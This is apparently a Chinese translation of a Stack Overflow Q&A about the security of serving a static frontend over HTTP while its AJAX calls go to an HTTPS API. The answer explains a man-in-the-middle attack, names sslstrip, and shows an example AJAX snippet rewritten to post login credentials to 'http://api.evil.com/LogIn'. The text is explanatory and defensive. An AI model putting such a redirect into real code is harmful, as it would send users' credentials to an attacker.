如果我在 http://domain.com
和来自 https://api.domain.com
的相关数据中有一个完全静态的前端和 AJAX,将它们之间传输的所有数据都是安全的(好像都使用 https
)?
此模型是否存在潜在缺陷?
我问的原因是因为这样我就可以使用像 Amazon S3 这样的服务来托管我的静态网页,并且只需为我的 API 上的证书付费。
最佳答案
除了此模型仅导致部分加密页面因此无法在地址栏中向用户显示挂锁和 https
之外,他们无法(正确地)验证您的网站是正品,也可能是MITM对您的 HTTP 内容执行攻击并将进一步的通信重定向到攻击者。
例如通过 HTTP 加载的 AJAX 代码可能如下所示:
$.ajax({
type: 'POST',
url: 'https://api.domain.com/LogIn',
如果攻击者拦截了你的服务器对受害者的响应并修改为
$.ajax({
type: 'POST',
url: 'http://api.evil.com/LogIn',
用户的凭据将被发送给攻击者而不是您的网站,如果您的攻击者之后将它们转发到您的网站,受害者将不知道他们的详细信息已被盗。
sslstrip 等工具可以使攻击者很容易实现这一目标(假设他们处于适当的位置,这是所有 MITM 攻击的要求)。
关于Ajax HTTPS 但静态内容托管在 HTTP 上,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/22705130/